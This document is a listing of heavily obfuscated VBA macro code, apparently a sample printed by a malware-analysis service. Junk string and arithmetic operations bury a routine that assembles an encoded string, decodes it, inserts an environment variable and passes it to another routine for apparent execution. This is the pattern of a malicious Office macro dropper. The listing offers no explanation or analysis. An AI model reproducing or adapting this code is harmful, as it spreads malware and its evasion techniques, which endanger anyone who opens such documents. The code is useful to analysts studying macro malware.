        HSKwOcmReu = UCase("Gvlv Ld ddLWv ") + RTrim("Cs)K  [YzUS @  M")
        hHOplCD = RTrim("I bKoTFa # XdJ d ") + UCase("T- -Ou yUC Sy@rM  -")
        Axmvf = LTrim("!ZUkKG ")
    Next FSPltI

    HSHlprK = UCase("L.j wp& E.pFTJVA") + RTrim("skt? PGuM")
    gtmXQSlSKGLM = Space(12) + Left("f )pIvGR(", 3)
    hpDimi "kBxByHpFz", "jUwwaEdLF", "UPWeAHumU", "dtoFDvHoan", "CErGecnw", "hgtbmHn"
    Dim ZuWJcVLm As String
    ZuWJcVLm = "E XBw)po$(#UjCov#vms"
    ZuWJcVLm = ZuWJcVLm + "#YZMD?$kP kJLOt$zJ  "
    cQIMYNpcBats = Right(" V[ wV#]K[c? %i]", 3)
    While MKwbDh < 2
        While dWONGu < 4
            TdgInJhVE = LTrim(" &a vO d$ ")
            

            JjRtxlUycbbX = Right("C JrUtBY(bn L   UY Z", 3)
            qEPiwsrBzceS = 64 - 86 - 35 - 70 - 22
            dWONGu = dWONGu + 3
        Wend

        gtmXQSlSKGLM = RTrim(" kjZn V  KNZl N  ") + StrReverse("  WmB")
        qcDjGbPLNzz = 15 + 30 + 5 + 61 + 44 + 84
        

        hHOplCD = 87 + 85 + 97 + 22 + 30
        YEKxvcaTbMx = UCase("-SP zRzn(jqC BcXu^U") + RTrim("Y   z[ NS q ZV mve ")
        MKwbDh = MKwbDh + 3
    Wend

    gtmXQSlSKGLM = 43 - 42 - 31 - 40 - 64
    ZuWJcVLm = ZuWJcVLm + "b M_]BKxn^OyoPhsB mr"
    UJEUSUIKgosD = LTrim("(s% N P%Mc ")
    gtmXQSlSKGLM = 63 - 71
    HSKwOcmReu = Left(" Y&r P B@Ge juNi$ ", 2) + LTrim("vW cYNB#b#Ry k$")
    ZuWJcVLm = ZuWJcVLm + "\ uymrDGx V(M%FO_jAm"
    

    While UvtvHZ < 5
        While YFewGM < 2
            MSwEd = UCase("&fBItG]j jx") + RTrim(" p.cPi qQ%     A]pl")
            UJEUSUIKgosD = RTrim("-x U^biz. z vh e.%") + StrReverse("oWO   ")
            UJEUSUIKgosD = 82 - 47 - 43 - 66
            JJwtYLa = LTrim("X yV jT@MNj!")
            UJEUSUIKgosD = RTrim("j[[fupV#! pa!E -") + StrReverse("mLf_ V!? Dmk")
            YFewGM = YFewGM + 1
        Wend

        Dwyzusss = RTrim("OP$yH") + StrReverse("H k OZc Ua   c u")
        

        UmNrcoFfEX = Space(13) + Left(" Q fl ", 5)
        

        YEKxvcaTbMx = 18 + 54 + 6 + 9 + 70 + 82
        UvtvHZ = UvtvHZ + 1
    Wend

    qEPiwsrBzceS = Right("jwIV_Y", 2)
    ZuWJcVLm = ZuWJcVLm + "N[C mlo (c.JsPH ec s"
    

    For yVCWXH = 2 To 3
        While bvXOHM < 3
            YEKxvcaTbMx = Right("  A ivE Djo  UYT", 2)
            Dwyzusss = Right("R[k!  o!", 5)
            mdhfpzDyzMJ = Space(5) + Left(" X BsKU^b ", 4)
            

            YEKxvcaTbMx = Left(" Y-vJ  ", 2) + LTrim("HPkvn.DTC&y")
            bvXOHM = bvXOHM + 2
        Wend

        wNRFFj = Space(3) + Left(" Pk iD?-  ", 4)
        

        MSwEd = Left(" f uxOAaKtt", 4) + LTrim(" r&_ ")
        qcDjGbPLNzz = UCase("imo)MHX tu X]ZcIF& P") + RTrim(" #DEELmE fX cc ")
        UJEUSUIKgosD = LTrim("-KT[e")
    Next yVCWXH

    gIDoRNzEKODy = 15 - 53
    ZuWJcVLm = ZuWJcVLm + " ax - i e[[pM "
    cQIMYNpcBats = Right("E ( B ae", 2)
    mdhfpzDyzMJ = Space(14) + Left("b O BtDzt  Y", 4)
    While quMvGR < 4
        For ILwoSg = 2 To 7
            mdhfpzDyzMJ = 98 + 45 + 90 + 7
            HSKwOcmReu = UCase("AQ&[Ui ") + RTrim("!S s@Xpvg!Q ")
            RYWIAReVgF = 8 - 85 - 72 - 94 - 96
            gIDoRNzEKODy = LTrim("sI J WsJ [q ?L^")
            qEPiwsrBzceS = LTrim("Pw HD  ]")
        Next ILwoSg

        JgWukcWnAJ = Space(17) + Left(" dsESl  wn^lRzel ", 3)
        UmNrcoFfEX = 56 + 32 + 56 + 29
        

        quMvGR = quMvGR + 2
    Wend

    ZuWJcVLm = Replace(LhNcRxsgex(ZuWJcVLm), "EpjmDkzMnh", Environ(EwYwTsrRu("AxTq fle P]$lnKz_XUjYvd soOtg#eF^ [fr]# M syNgMDPXUP mrv(BRqo Diy fe $FWi  Iy]lvaK%JeEch q")))
    While unKbtC < 4
        wNRFFj = 45 - 29 - 76 - 72 - 33 - 70
        MSwEd = RTrim("pkJ&L") + StrReverse("Vo Mg D NR[moUN^F")
        JJwtYLa = RTrim("re u !R") + UCase(" B S   #V")
        

        

        unKbtC = unKbtC + 3
    Wend

    MSwEd = Right("    X", 2)
    For cTlsBJ = 1 To 173
        Dwyzusss = RTrim("dpAC UHnDO") + StrReverse("Jz v%ASsTD  eJ  z d")

        


        If cTlsBJ = 136 Then
            qEPiwsrBzceS = RTrim("A[Qab") + UCase("(u?_ PpF(  .s!O X t ")
            gtmXQSlSKGLM = Left("(S W PGkwK i$!JH.  ", 4) + LTrim(" hH h?N-@ R]T ")
            

            fMSgBfanpW = Left("s   w ", 3) + LTrim(")   pEUuqP")
            fMSgBfanpW = UCase("cR CUZsn %O   nG t V") + RTrim("c Mr( GMX.ME   I . &")
            HSHlprK = Left("%O?wvSH W", 2) + LTrim("[S  RbP EoX")
            lmbshPERcM ZuWJcVLm, "UTPIuKSYs", "xfhOQz", "oJdoObxBj", "iEtopJYf", "Uhj", "phL", "jzQQGoPv", "rnpnn", "rEuJREF"
            wNRFFj = 43 - 82 - 60 - 33 - 41
            While fLSbSn < 4
                For oxurfM = 2 To 7
                    gIDoRNzEKODy = RTrim("nb !O( vk@ Si") + StrReverse(".C Yl r_tV")
                    RYWIAReVgF = 98 - 40 - 93 - 2 - 81 - 77
                    gtmXQSlSKGLM = 95 - 78 - 54
                    qcDjGbPLNzz = RTrim("H_OdmEh)g xifrq") + UCase("oG W @mEXt@R)tq")
                    Dwyzusss = LTrim("N xA$ef %v-m  &")
                Next oxurfM

                JjRtxlUycbbX = Left("ObLi$kN  ywM% bSc^  ", 4) + LTrim(" $ . #rpv ")
                YEKxvcaTbMx = LTrim(") ]D hKHUIqG l")
                GBfepGZ = RTrim("lmJKn$t fCDyh") + StrReverse("ps.QQz# NkE ^ ")
                fLSbSn = fLSbSn + 3
            Wend

            While Xtwnhj < 2
                While tUhtdf < 1
                    fMSgBfanpW = 56 + 10 + 49 + 76
                    cQIMYNpcBats = Left("Bf ?hDXJ n P", 3) + LTrim(" ic oRr   N(wJejI")
                    DkPQiyCWJP = 96 - 7 - 96 - 82
                    lItfyMNX = UCase("ARq))%  u") + RTrim("PSRCLr[SBQMg D ")
                    lItfyMNX = RTrim("or Od(") + StrReverse(" (M^ ")
                    tUhtdf = tUhtdf + 3
                Wend

                

                UmNrcoFfEX = Left(".NC k ", 2) + LTrim("Lzr  PQ")
                hHOplCD = Right(" ] h#a ri", 2)
                YEKxvcaTbMx = Right("#GU] P GK-z Yzb ", 5)
                MSwEd = 88 - 74 - 76 - 51
                Xtwnhj = Xtwnhj + 2
            Wend

            UmNrcoFfEX = Space(11) + Left(".V aYwnfB kr!@.N[vXU", 5)
        End If
    Next cTlsBJ
    gIDoRNzEKODy = RTrim("XO lm[?XyR") + StrReverse("ET xVH  Zxspk")
    qEPiwsrBzceS = 70 + 31 + 61 + 70 + 41
    btQAxnHw = RTrim(" N t C spu") + UCase(" r  @dvGH$wVk")
    cQIMYNpcBats = 93 - 51 - 98 - 95 - 95
    HSKwOcmReu = Left("yPA?eYH Zy", 2) + LTrim("  Qz ")
    fMSgBfanpW = RTrim(".Twz? E tc") + StrReverse("DEc ^")
    Dwyzusss = UCase("& D  ") + RTrim("DwgR zyo^YI    wFV ")
    cQIMYNpcBats = Space(5) + Left(")y sYa$", 2)
    BkrBXdCHsFp = LTrim("n w   ov  YJgm")
    mdhfpzDyzMJ = UCase("K @ h@ v b j   ") + RTrim("Ntn H")


End Sub



Attribute VB_Name = "Module5"

Function bixjLH(LRweMp As Integer, vQOcTo As Boolean, ZBiofw As Double, WofoCCl As Double, XEEGFI As Integer) As String
    fMSgBfanpW = UCase("!hx%gfMvJzJWSP iYl") + RTrim("^[  ?@d ( z J [G")
    hHOplCD = LTrim("[J)@.e&AZ[rmdV")
    JJwtYLa = 24 - 5 - 61 - 3
    cQIMYNpcBats = 4 - 0 - 85 - 42 - 18 - 20
    

    HSKwOcmReu = UCase("Y   OBQMRd(  c[[%?S") + RTrim(" P FVeS O-?E  ^k")
    TdgInJhVE = RTrim("c& ERQo# ") + StrReverse("m a.tGMFdfst LT  sw")
    

    While GkqXls < 3
        

        

        gIDoRNzEKODy = RTrim("cVo-tC[vP  aG w UHB%") + StrReverse("kPH   ")
        DkPQiyCWJP = Space(17) + Left(" rv  sbBheTWNz ZK )J", 4)
        GkqXls = GkqXls + 1
    Wend

    HSHlprK = Right("]  #f  e%jRAPM TqP&[", 3)
    JjRtxlUycbbX = 10 + 41 + 7 + 31 + 48 + 93
    JJwtYLa = RTrim(" ^fCwn") + UCase("B (OGpDWk  JsILj")
    While OAtpEo < 4
        For tkmjfL = 2 To 6
            wNRFFj = UCase("d g NeMzcM(ki") + RTrim("svArok&N?    add")
            JjRtxlUycbbX = Space(3) + Left("] S(yV&EbNV)SX", 4)
            DkPQiyCWJP = LTrim("! - HF")
            GBfepGZ = 66 + 78 + 52 + 15
        Next tkmjfL

        BkrBXdCHsFp = 59 - 39 - 66 - 51 - 31
        

        cQIMYNpcBats = LTrim(" DC i YNlg@CuRShozyV")
        wNRFFj = RTrim("HEE ITXE)") + StrReverse(" ?MWd q gcm j")
        DkPQiyCWJP = RTrim(" V?ilQiRky -KDIZ^T ") + UCase("p)a   ! @ ]sZB^_@]")
        OAtpEo = OAtpEo + 1
    Wend

    

    btQAxnHw = Right(" ^AUCpqG?anaHSN. B  ", 2)
    

    YEKxvcaTbMx = UCase("P]$]t") + RTrim("t&R (]fU")
    cQIMYNpcBats = RTrim("ZSCq] MKns ?vtd") + UCase(" k w-l KcDk@ b xz")
    qEPiwsrBzceS = 66 + 31 + 64 + 78 + 83
    bixjLH = "iWTxcUggdlkpTXVXSaJ"
End Function



Attribute VB_Name = "Module6"

Function BCBrTF(RsIqnO As Integer, gThSYY As Integer, DJAGfc As Integer, YymLOQ As Boolean, KApjIz As Boolean) As String
    

    

    JgWukcWnAJ = 48 - 58 - 5 - 61 - 68 - 11
    YEKxvcaTbMx = LTrim("q.  jil a")
    lItfyMNX = 37 + 60 + 25 + 36 + 99 + 52
    JgWukcWnAJ = Right("h^H d ! ", 3)
    While IegGUO < 3
        For KSUxTa = 2 To 8
            mdhfpzDyzMJ = LTrim("GAw I")
            BazYtCDHxYYx = Right(" jI gML B bF FFPF R", 4)
            gtmXQSlSKGLM = 98 - 72 - 76 - 52
            DkPQiyCWJP = LTrim(" O. Z!m    dM[ Sg  ")
            

        Next KSUxTa

        GBfepGZ = RTrim("m(W] o g Ccvs$iVY b^") + StrReverse("w! NjzW  J.K[ %  m")
        DkPQiyCWJP = Right("rOUg Bom # d$QmjOF", 3)
        FGmTuSPVOEt = 10 - 32 - 19 - 41 - 57 - 19
        uiDhi = RTrim("g##o cp") + StrReverse("  ^R x]-P")
        IegGUO = IegGUO + 2
    Wend

    While fXjgiI < 3
        gtmXQSlSKGLM = RTrim("#C RaIX  V?G") + UCase("NBZm@%l ")
        gIDoRNzEKODy = 9 + 14
        HSHlprK = RTrim(" IY St  P]ZLw") + UCase("PmoTW! UU P")
        HSKwOcmReu = 86 + 29 + 48
        wNRFFj = 2 - 89 - 91 - 92
        fXjgiI = fXjgiI + 3
    Wend

    GBfepGZ = Right("tc WyBC", 2)
    For LGGWBt = 2 To 5
        While iKdDfp < 5
            RYWIAReVgF = RTrim("@Ljbes fex  U F.hXu ") + StrReverse("m[  [Nsr(   ? ")
            HSKwOcmReu = Right("  _! YomQCl l", 3)
            wNRFFj = Right("[zI#t uH", 5)
            qcDjGbPLNzz = Left("vs jAJq  p@^w", 2) + LTrim("iBzF@tD W  EhZ^")
            iKdDfp = iKdDfp + 1
        Wend

        qcDjGbPLNzz = 49 + 87 + 90
        MSwEd = RTrim("J k.L@  p !wb-s $ j ") + UCase(" mGn $. akp[bGv. n] ")
        HSHlprK = 38 + 71 + 57
        HSHlprK = LTrim("]m    bg QODM&e X &")
    Next LGGWBt

    

    cQIMYNpcBats = 78 + 76
    

    JJwtYLa = LTrim(" Rpdz)d  ")
    gIDoRNzEKODy = Right("K$   Fe", 3)
    TdgInJhVE = 1 + 55 + 80 + 21 + 22 + 7
    

    BCBrTF = "mzSXRKQZzaqgbSYmf"
End Function



Sub saqihz(VbDPQO As Double, xxdmtLa As String, KGIGZe As Integer, qHsQfMM As String, oHXqtm As String)
    gIDoRNzEKODy = LTrim("  ]PSUwbavsuM)")
    hHOplCD = 57 + 9 + 85 + 44 + 32 + 43
    UJEUSUIKgosD = LTrim("Pvkw &] t Ax#gJH")
    While eDWIyL < 5
        For DXjLqc = 2 To 8
            BkrBXdCHsFp = Left("W#gSz@n QfyEc", 4) + LTrim("m  BT    c(MYdi    ")
            btQAxnHw = RTrim(" Ypr  e&qn ") + UCase("bhz  U ")
            YEKxvcaTbMx = Right(" N e !_u]$", 4)
        Next DXjLqc

        

        DkPQiyCWJP = Left(" rR b#_xF", 3) + LTrim("Dk XQThA#c  S[u pTL")
        MSwEd = Space(8) + Left("zN  ey  p_( ", 2)
        YEKxvcaTbMx = RTrim("F X]&R_ ") + StrReverse("AJmf ")
        

        eDWIyL = eDWIyL + 3
    Wend

    Dwyzusss = Space(18) + Left("qH vh Qx", 3)
    While pQkiZj < 3
        While ndzduh < 1
            mdhfpzDyzMJ = 77 + 6 + 93 + 22 + 6 + 13
            UmNrcoFfEX = RTrim("n)LI_D$ i eQbu e]") + StrReverse("_ Rs$Yxjm$%ssrSB ")
            HSKwOcmReu = Left("&wL&dKXiV$%  Ls   ", 4) + LTrim("$HZ  u ")
            Dwyzusss = UCase("h&fkL  S  ") + RTrim(" ro#U %  Pe bO")
            ndzduh = ndzduh + 1
        Wend

        BkrBXdCHsFp = RTrim("fusKLdm[ JQ- WanK") + UCase("V )MOjGqUEIx")
        btQAxnHw = Left("vMO  P K!e-] k", 3) + LTrim("o vZ ?d F")
        MSwEd = 7 - 0 - 83 - 94
        MSwEd = Right("BQ  NXjH", 2)
        pQkiZj = pQkiZj + 1
    Wend

    gtmXQSlSKGLM = UCase(" AiW ") + RTrim("p   [V[  ")
    

    YEKxvcaTbMx = Right("vfP hAc w^$XT-UzOl", 5)
    mdhfpzDyzMJ = Space(2) + Left(" NT  ZOEvTlNMZc", 2)
    btQAxnHw = Left("&  nf", 5) + LTrim("fOp]r_O c")
    DkPQiyCWJP = LTrim("S$ (os^q.eh q Fz")
    MSwEd = RTrim("-  bF nXk_jGeR") + UCase(" ! N ")
    Dwyzusss = LTrim("  @IxIpe")
    qcDjGbPLNzz = RTrim("?    c ") + UCase("@DsMxpQvHGsz $dBi")
    mdhfpzDyzMJ = 44 - 21 - 38
End Sub



Sub dZkgwb(cQldDN As String, fxwSnsX As Double, gucWdH As Double, bZTtsi As Integer, ROKToYc As Double)
    TdgInJhVE = 65 + 56
    btQAxnHw = 42 - 30
    Dwyzusss = UCase("  ] uf-e?") + RTrim("Hs  KW  D  I")
    BazYtCDHxYYx = LTrim("E  Kd)EkT)& D ")
    

    asQQKhGsaYe = Left("If-D[AmW", 5) + LTrim("Eqrh A r^kh^JPzi ")
    While QzKEEO < 3
        While jdASVo < 3
            UJEUSUIKgosD = RTrim("hcgld%GqC tEOTJHP  !") + StrReverse("[ y#qD    DmTJnqfl ")
            HSHlprK = Left("GTr P  tT GoI", 4) + LTrim("DX   W&%Ny) yWSxP")
            DkPQiyCWJP = UCase("(   C%") + RTrim("H!AecX")
            DkPQiyCWJP = Left(".). Tr F  _k", 2) + LTrim("Gknug")
            qcDjGbPLNzz = Right("QblIX Ok $  jjN", 5)
            jdASVo = jdASVo + 3
        Wend

        UJEUSUIKgosD = Space(19) + Left("CYee j", 4)
        uiDhi = UCase("y# LQh&    ez&") + RTrim("c Tz@Fjl #KAI@  ")
        FGmTuSPVOEt = LTrim("#OvmqvcdCMto $")
        YEKxvcaTbMx = Left(" ] n BEn $  nruy O^ ", 5) + LTrim("Nv BFvh e(( fqMy")
        btQAxnHw = LTrim("yMr fRSu ? ")
        QzKEEO = QzKEEO + 1
    Wend

    hHOplCD = 23 + 42 + 10 + 18 + 14
    UJEUSUIKgosD = UCase("n!  Y!XwIDromYOE") + RTrim("__ L PYpi l")
    JJwtYLa = Right("Eavr h&nz^ EC ", 5)
    For ZQPXsb = 2 To 4
        While Gqvpsr < 3
            cQIMYNpcBats = Left("@r ?urq", 5) + LTrim("?I]%B F")
            Axmvf = RTrim("e  Sb N") + UCase(" DXOX $ ")
            JJwtYLa = RTrim("qz]t. v@J ") + UCase("H r  w[ ")
            UmNrcoFfEX = Right("[awZO LS O", 5)
            gIDoRNzEKODy = 0 + 16 + 9 + 96
            Gqvpsr = Gqvpsr + 3
        Wend

        HSKwOcmReu = RTrim("Dn& ?NBC)rK]") + StrReverse("  i PlhCgl  XU@")
        HSHlprK = Space(8) + Left("q &.A&@sQUx k&TAQBC", 3)
        

        MSwEd = RTrim("!U  l_P OOSit(aq   ") + UCase("cD_ sy_")
        UmNrcoFfEX = UCase("bXJY ") + RTrim("Es woZ^m-DQ mBUB-?pO")
    Next ZQPXsb

    JJwtYLa = UCase("n UihB)-") + RTrim("@uo]G^GRUl?r  H mv")
    For gCFvKY = 2 To 5
        MSwEd = Space(10) + Left("Me    al_JA. y lxh", 4)
        UmNrcoFfEX = Space(15) + Left("Cj   A KS^sSiGn]En", 5)
        gIDoRNzEKODy = UCase(" _ .c^Cj") + RTrim(" $qbU$)w@g_Xslt B ")
    Next gCFvKY

    

    gIDoRNzEKODy = Space(8) + Left(" F XenC Q )", 2)
    UJEUSUIKgosD = Right("iCE[DuN] lHJ& h ", 4)
    UJEUSUIKgosD = Right(".L $O", 3)
    

End Sub



Sub DurHwI(cyUPHdo As Double, iIlpTPw As Integer, xRJCAGS As Integer, PlgxEEU As Boolean, tOsFTN As Double)
    HSHlprK = UCase("% Ak [ H") + RTrim("d$KAD.j  a ")
    fMSgBfanpW = RTrim("Tzj G  (hSP[]Ru   .") + StrReverse("@.s lOA")
    gIDoRNzEKODy = RTrim(" [i %FUv.YxP%a%LT n") + StrReverse("ysQGu-z yGj ")
    UmNrcoFfEX = UCase("  pws L#") + RTrim("wnHKZV MyTo")
    lItfyMNX = Space(19) + Left("a s#MIf(RWt!", 4)
    btQAxnHw = Left("SSfBfjHeb ", 2) + LTrim(" U%j(!OMS. JQ")
    qcDjGbPLNzz = Space(14) + Left("udXv&FH sf!^P?E", 3)
    For NOBxmJ = 2 To 8
        mdhfpzDyzMJ = RTrim("@ R ?Em") + UCase(" ghwSS%kBDC[Vub#")
        JgWukcWnAJ = UCase(" ]YMWBW nU[   ") + RTrim("]YHmKY  ^  ha!")
        gIDoRNzEKODy = Left("&gb-e B   b ^$b", 4) + LTrim("  L@% w  w$ ")
        GBfepGZ = UCase("oaR  vt") + RTrim("w#@W lF$P?-MUre")
        mdhfpzDyzMJ = Space(9) + Left("rL%yMX)x M$dT^X) ", 2)
    Next NOBxmJ

    While sXsWgE < 2
        While keUkGe < 2
            RYWIAReVgF = Left("^FS DX&   Tx%)RvN", 4) + LTrim("dov& -q wH# A[ T")
…

Open this report in the interactive analyzer, or submit your own file for analysis.